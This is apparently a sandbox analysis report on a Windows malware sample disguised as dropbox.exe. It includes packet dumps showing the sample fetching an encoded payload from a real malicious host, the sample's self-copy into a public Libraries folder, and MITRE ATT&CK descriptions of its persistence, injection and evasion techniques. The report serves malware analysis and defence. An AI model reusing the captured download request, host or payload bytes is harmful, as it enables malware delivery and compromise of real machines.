Sep 19, 2022 22:38:00.550587893 CEST	1213	IN	Data Raw: 3f 13 a7 b3 df f6 05 19 f0 25 74 6a 80 cb ee b8 cb 7a f9 c9 bd 81 67 62 3b ce 43 b4 ca e8 c4 b5 c3 31 b0 0f 26 1f 64 68 c7 33 ed 25 73 09 5c 62 2f 05 7a 9e d5 94 94 43 76 e2 1f 23 08 d6 c3 c3 da f7 be a5 cc b3 74 e0 2b 20 a7 29 be 0f 97 c6 bb c5 Data Ascii: ?%tjzgb;C1&dh3%s\b/zCv#t+ )+fr5lZ,x3%\j~z51lnn;tltnEhZmk^5Uj/3n?k.j;Zn}y)(d?+Z%)pD!
Sep 19, 2022 22:38:00.550602913 CEST	1215	IN	Data Raw: 6e dc 37 69 6c c1 eb 35 66 9f f8 b4 c9 ca 25 0f b5 c3 31 41 36 d7 66 b2 f6 5c 87 94 25 7b 19 5c 62 37 ff ab f6 58 28 64 43 74 a1 f9 72 f1 ee 87 67 b3 31 25 36 ab 2d d8 32 e1 38 b7 df 27 f9 23 79 0f c5 b1 f4 aa 7d cf 50 c2 1e 95 bf 81 6d 88 2f a6 Data Ascii: n7il5f%1A6f\%{\b7X(dCtrg1%6-28'#y}Pm/KZd1kt5J/5i5jFht'#2);g~99dyZ#?\/\b5#\~y?!j'"'A}d#dysA?i`#h32nN8-r5P-Zfp
Sep 19, 2022 22:38:00.550620079 CEST	1216	IN	Data Raw: d9 80 8a 31 bf 0f 60 ca 64 68 41 79 22 28 27 3f 38 2e db 23 6a 21 5c 6c b9 69 6d e3 31 9e 86 11 a5 c6 6e a7 b3 83 2e 8f e8 f0 83 1c 92 27 8f 36 26 25 8a c8 b1 bd 2b f3 3b c2 09 41 be bf b7 35 03 0b e7 31 a7 da f7 f6 4c 79 a3 da 44 6f 96 8b ff 44 Data Ascii: 1`dhAy"('?8.#j!\lim1n.'6&%+;A51LyDoDZ)^vlb5iJ;TDzv)"<Es=+0{t}i\DogJo-3m#fi)tj+r=xd:igq3?1"6`CnFnj'^\/Ar!j'
Sep 19, 2022 22:38:00.612313986 CEST	1217	IN	Data Raw: dd 38 ab ce 9f b7 af a9 03 78 62 d9 76 7b 22 62 20 6a ce f3 b4 b3 bd f6 d6 d3 cb 31 07 34 5e bb 24 22 a9 d6 b8 1b bd b7 84 3b 62 f6 74 e3 b0 72 74 41 dd 69 6c 0f a9 a7 b1 b5 9a 6e bb 94 d6 6e a9 af 76 b2 96 07 cd b9 6c 62 fd 76 7b 22 66 20 5e ce Data Ascii: 8xbv{"b j14^$";btrtAilnnvlbv{"f ^qlp`p+?fbfrjAnZT@tbt1v3h 2j\YduOrjt!d+nZ&QhrHvv.:t#Avv+wx!t)?}+b{qj3

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49709	141.8.192.151	80	C:\Users\user\Desktop\dropbox.exe

Timestamp	kBytes transferred	Direction	Data
Sep 19, 2022 22:38:00.712824106 CEST	1300	OUT	GET /Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh HTTP/1.1 User-Agent: 31 Host: f0719949.xsph.ru
Sep 19, 2022 22:38:00.775342941 CEST	1302	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 19 Sep 2022 20:38:00 GMT Content-Length: 480659 Connection: keep-alive Last-Modified: Thu, 15 Sep 2022 23:02:48 GMT ETag: "75593-5e8bf3e785579" Accept-Ranges: bytes Data Raw: 10 0a 59 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 0a 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 0a 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 ee cf ea 5a 60 62 66 72 76 74 68 76 c5 c5 a7 bb 5f b1 b5 68 72 bb bd 6e 93 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 68 ab 70 6a 68 c7 a0 bf 62 0a b5 e9 24 10 b9 41 f3 77 98 20 73 69 88 7d 32 7d 86 77 e3 71 96 cf d5 22 1c 79 7f 82 cd cd 98 32 24 1c 96 34 2e 7a 97 ee cb 86 7f 79 e1 c7 4c ab ad bd 22 bd 6e 78 64 70 6a 76 a5 0c a4 32 60 ef f5 7d 5e f3 e7 79 b1 9e b8 20 57 7c 92 32 66 eb e9 28 5d 8a 24 36 00 ac a6 85 10 90 69 79 b3 f7 b6 77 b3 06 84 67 c5 b2 f9 30 31 1a a7 36 74 eb b8 32 fc 31 9a 20 8c e7 e9 73 5b ee ae 1a 93 e7 eb 69 4f 27 eb 73 22 aa ae 1c c5 47 44 34 b1 f3 b6 1e 70 9e e7 1e 3e e7 f3 6b 4d dc a0 7f 92 ac e9 77 02 45 95 81 5a 03 9e 38 63 de a6 34 c3 aa a4 34 df 32 90 77 74 f3 05 73 b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 dd 8f bd 6e 3f 66 5a 76 76 a7 60 e5 b9 6c 62 74 c3 78 bb 5a 09 76 6c 74 bb a9 5e af 66 40 72 5a c1 ab 72 6e a7 bb bd 6e 0c 2a c1 6a 76 6a 5a b1 62 d9 b9 6a 74 68 93 78 78 b7 bb a7 b1 a7 68 72 78 bd c1 76 a9 af 76 bb 74 af 66 b9 6c 62 74 c3 78 0b af a9 76 6a bb 5a 66 70 af 66 bb b9 5a 41 b7 70 5e a7 bb ad 6e 78 64 70 5a 76 5a 6a b1 62 66 72 6a 74 78 76 78 78 a7 bb a7 b1 b5 68 72 bb 7a ac 70 a9 1f 76 bb b7 af 96 74 6c 77 89 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 fe 62 bb 49 56 78 64 60 57 70 5a 8f b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 12 63 af af 5e bb b7 af 54 0c 72 62 91 c3 78 bb 5a a9 76 76 bb 5a 66 70 af d9 6a b9 0e bd b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb 3c 1a db 7f 79 bb bd 6e f4 a3 5c 76 bb a7 af a9 b9 95 a9 74 c3 6c bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a e1 b7 70 d1 3c 32 86 84 7b 8e 70 6a dc 26 b5 b1 62 d9 b9 6a 74 6b b9 78 78 52 78 a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb 3a af a9 3c 97 d9 7e 30 7a bb 5a a9 9f d5 bb 5a 66 d0 a9 66 c1 a7 5a c1 b7 ac 78 a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 a3 72 6a b4 93 7d 83 2c a7 bb a7 b1 72 68 72 bb bd 8b bb a9 af 6c bb b7 af fb bf 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 8d af 66 01 4a 92 7c 7d d3 32 a7 bb 50 74 78 64 70 e5 bb 5a 5a ad 62 66 72 9e 6a 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 8b 76 a9 52 a5 32 83 1e e5 b9 6c 62 69 3e 78 bb 5a 96 bb 76 bb 2d 66 70 af b6 b7 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 87 76 5a 97 42 6b 90 81 2a 80 68 76 04 50 a7 bb a7 61 60 68 72 3c bd 6e 76 cb 5a 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a 4c 76 76 44 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 Data Ascii: YgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQZ`bfrvthv_hrnvlbtxZvvZfpfZpnnhpjhb$Aw si}2}wq"y2$4.zyL"nxdpjv2`}^y W\|2f(]$6iywg016t21 s[iO's"GD4p>kMwEZ8c442wtsbfrjthvxxhn?fZvv`lbtxZvlt^f@rZrnnjvjZbjthxxhrxvvtflbtxvjZfpfZAp^nxdpZvZjbfrjtxvxxhrzpvtlwxZvvZfpfZpbIVxd`WpZbfrjthvxxhrc^TrbxZvvZfpjpnnxdpjvZZbfrjthvxx<yn\vtlZvvZfpfZp<2{pj&bjtkxxRxhrnvv:<~0zZZffZxnxdpjvZZbrj},rhrllbtxZvvZffJ\|}2PtxdpZZbfrjhvxxhrvR2lbi>xZv-fpZpnnxdpvZBkhvPa`hr<nvZvlbtxZLvvDZfpfZpnnxdpjvZZbfrjthvxxhrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxx
Sep 19, 2022 22:38:00.775398970 CEST	1303	IN	Data Raw: bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c Data Ascii: hrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxxhrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxxNr#~v(ftvz@v#GvpqVbfDv=bfnLvrq#WJxm:d^fk%,dp}V
Sep 19, 2022 22:38:00.775419950 CEST	1305	IN	Data Raw: c3 a9 b9 7b bf 90 87 78 23 8c b9 b7 76 c9 f3 f1 95 1f 9d c1 21 06 98 76 70 79 80 df 91 6e d0 4a 60 c3 76 90 f3 26 30 7a 3e 6a cc 52 66 b9 78 dd b2 20 95 c9 4c 72 23 9b 5e b7 a9 e5 f7 2c a1 cb a5 b9 d4 30 64 6a 78 c9 f3 9e b6 09 48 5a be 79 86 a7 Data Ascii: {x#v!vpynJ`v&0z>jRfx Lr#^,0djxHZy.JpltnCk^{6Z,t vbN8v{"n\}gJ^fn9oEsn_Cd/siZSb/B&{l1LBZ\|v3pz?&tp4;Vuh,
Sep 19, 2022 22:38:00.775441885 CEST	1306	IN	Data Raw: 27 3c 56 a1 87 b9 a7 77 5a 29 eb 0f c3 4e 6e 78 7e 29 e7 ce 4b 89 b1 62 27 c6 62 2f 99 67 6d 31 fb 94 0f f3 ab 68 72 2a cf 27 f3 11 94 a3 bb b7 00 ed 3e 42 62 91 0a b4 3c 54 a9 37 be c1 73 60 27 84 a2 46 8f 5a e2 ee 71 5e 0f 38 76 6e 78 94 cd 7e Data Ascii: '<VwZ)Nnx~)Kb'b/gm1hr'>Bb<T7s`'FZq^8vnx~/nf;\|QNh3KUtH\I4Zl;NwXvZKdWxzwjvZkdhvxrP,3?d^^Hu5l^W1"'.A@(td94frj5<<V0~?RH\}b/
Sep 19, 2022 22:38:00.775464058 CEST	1307	IN	Data Raw: b9 64 70 2b c6 3b fb f2 4e 62 dd d2 0a a9 76 78 c5 44 da aa 64 48 c0 c0 ab bd 6e d3 d0 72 8a 23 d7 70 a9 b9 7e cd 35 a6 d0 f9 b3 a9 76 2f b6 8a 92 29 bc 98 fb c5 5a 8c de 0f d6 3d c1 bd 6e 81 64 79 6a 2f ac c2 a6 60 66 72 2b aa e5 f7 81 78 5a 38 Data Ascii: dp+;NbvxDdHnr#p~5v/)Z=ndyj/`fr+xZ86nj l}b0ipvZpz?q Z8$vrvjv;Zr{tqfA'/lf"}blv/lrfrn%hdp,1FlA3Br\R-Vjvzv
Sep 19, 2022 22:38:00.775486946 CEST	1309	IN	Data Raw: ee c3 5a 6e ee 19 cd 41 ef 23 6e 74 76 a9 80 2f ed 1f 1c 5a 6c b9 43 ac 1b a0 c1 5a a9 b7 40 ab 3b 2f 71 bf c9 19 0a 68 c1 b7 29 8f 36 a7 cd cb aa 60 70 df 2f 25 c2 2f b1 b3 bf e5 35 a0 ce b0 6a a7 bb 88 f8 03 c0 44 70 70 bb 2f f1 07 57 c1 b7 af Data Ascii: ZnA#ntv/ZlCZ@;/qh)6`p/%/5jDpp/Wuv4Z/"bflq )x}nnjthl%3m'-rw`nnDJpnP,n\QZyb1#h#\\`jx;^p?Zp\|Z
Sep 19, 2022 22:38:00.775511026 CEST	1310	IN	Data Raw: ce 85 0f 62 5c e0 6c 48 8d 1a 6c a3 a3 38 6e b3 48 a3 77 78 ed 5e c1 e5 84 8c df 29 6d 36 af dc 11 90 bc 0e 6c c3 a7 3b ff ba 2f ba b7 c1 41 d5 69 60 ee 26 ee 9a 8f ed 48 b2 85 bf 8e d0 30 3d ca 34 7b f0 e7 d4 3a bc 76 c5 72 ef 8b 0f 2f a0 40 03 Data Ascii: b\lHl8nHwx^)m6l;/Ai`&H0=4{:vr/@rZZEd?pxn$0A#Hp\b}"!Zv1jv~)tko%'d)Pg)@={**5}fj8-v.!xn?l)vxEd!th
Sep 19, 2022 22:38:00.775533915 CEST	1312	IN	Data Raw: 3f 13 a7 b3 df f6 05 19 f0 25 74 6a 80 cb ee b8 cb 7a f9 c9 bd 81 67 62 3b ce 43 b4 ca e8 c4 b5 c3 31 b0 0f 26 1f 64 68 c7 33 ed 25 73 09 5c 62 2f 05 7a 9e d5 94 94 43 76 e2 1f 23 08 d6 c3 c3 da f7 be a5 cc b3 74 e0 2b 20 a7 29 be 0f 97 c6 bb c5 Data Ascii: ?%tjzgb;C1&dh3%s\b/zCv#t+ )+fr5lZ,x3%\j~z51lnn;tltnEhZmk^5Uj/3n?k.j;Zn}y)(d?+Z%)pD!
Sep 19, 2022 22:38:00.775554895 CEST	1313	IN	Data Raw: 6e dc 37 69 6c c1 eb 35 66 9f f8 b4 c9 ca 25 0f b5 c3 31 41 36 d7 66 b2 f6 5c 87 94 25 7b 19 5c 62 37 ff ab f6 58 28 64 43 74 a1 f9 72 f1 ee 87 67 b3 31 25 36 ab 2d d8 32 e1 38 b7 df 27 f9 23 79 0f c5 b1 f4 aa 7d cf 50 c2 1e 95 bf 81 6d 88 2f a6 Data Ascii: n7il5f%1A6f\%{\b7X(dCtrg1%6-28'#y}Pm/KZd1kt5J/5i5jFht'#2);g~99dyZ#?\/\b5#\~y?!j'"'A}d#dysA?i`#h32nN8-r5P-Zfp
Sep 19, 2022 22:38:00.775576115 CEST	1314	IN	Data Raw: d9 80 8a 31 bf 0f 60 ca 64 68 41 79 22 28 27 3f 38 2e db 23 6a 21 5c 6c b9 69 6d e3 31 9e 86 11 a5 c6 6e a7 b3 83 2e 8f e8 f0 83 1c 92 27 8f 36 26 25 8a c8 b1 bd 2b f3 3b c2 09 41 be bf b7 35 03 0b e7 31 a7 da f7 f6 4c 79 a3 da 44 6f 96 8b ff 44 Data Ascii: 1`dhAy"('?8.#j!\lim1n.'6&%+;A51LyDoDZ)^vlb5iJ;TDzv)"<Es=+0{t}i\DogJo-3m#fi)tj+r=xd:igq3?1"6`CnFnj'^\/Ar!j'
Sep 19, 2022 22:38:00.835830927 CEST	1316	IN	Data Raw: dd 38 ab ce 9f b7 af a9 03 78 62 d9 76 7b 22 62 20 6a ce f3 b4 b3 bd f6 d6 d3 cb 31 07 34 5e bb 24 22 a9 d6 b8 1b bd b7 84 3b 62 f6 74 e3 b0 72 74 41 dd 69 6c 0f a9 a7 b1 b5 9a 6e bb 94 d6 6e a9 af 76 b2 96 07 cd b9 6c 62 fd 76 7b 22 66 20 5e ce Data Ascii: 8xbv{"b j14^$";btrtAilnnvlbv{"f ^qlp`p+?fbfrjAnZT@tbt1v3h 2j\YduOrjt!d+nZ&QhrHvv.:t#Avv+wx!t)?}+b{qj3

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: dropbox.exePID: 5608, Parent PID: 2008

General

Target ID:	0
Start time:	22:37:02
Start date:	19/09/2022
Path:	C:\Users\user\Desktop\dropbox.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\dropbox.exe"
Imagebase:	0x400000
File size:	992256 bytes
MD5 hash:	FC2881F54044ED23F7321DDC01522A50
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: Uuddcmhn.exePID: 5732, Parent PID: 3452

General

Target ID:	10
Start time:	22:37:41
Start date:	19/09/2022
Path:	C:\Users\Public\Libraries\Uuddcmhn.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Uuddcmhn.exe"
Imagebase:	0x400000
File size:	992256 bytes
MD5 hash:	FC2881F54044ED23F7321DDC01522A50
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: Uuddcmhn.exePID: 6100, Parent PID: 3452

General

Target ID:	11
Start time:	22:37:50
Start date:	19/09/2022
Path:	C:\Users\Public\Libraries\Uuddcmhn.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Uuddcmhn.exe"
Imagebase:	0x400000
File size:	992256 bytes
MD5 hash:	FC2881F54044ED23F7321DDC01522A50
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report dropbox.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Libraries\Uuddcmhn

C:\Users\Public\Libraries\Uuddcmhn.exe

C:\Users\Public\Libraries\Uuddcmhn.exe:Zone.Identifier

C:\Users\Public\Libraries\nhmcdduU.url

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Statistics

Windows Analysis Report
dropbox.exe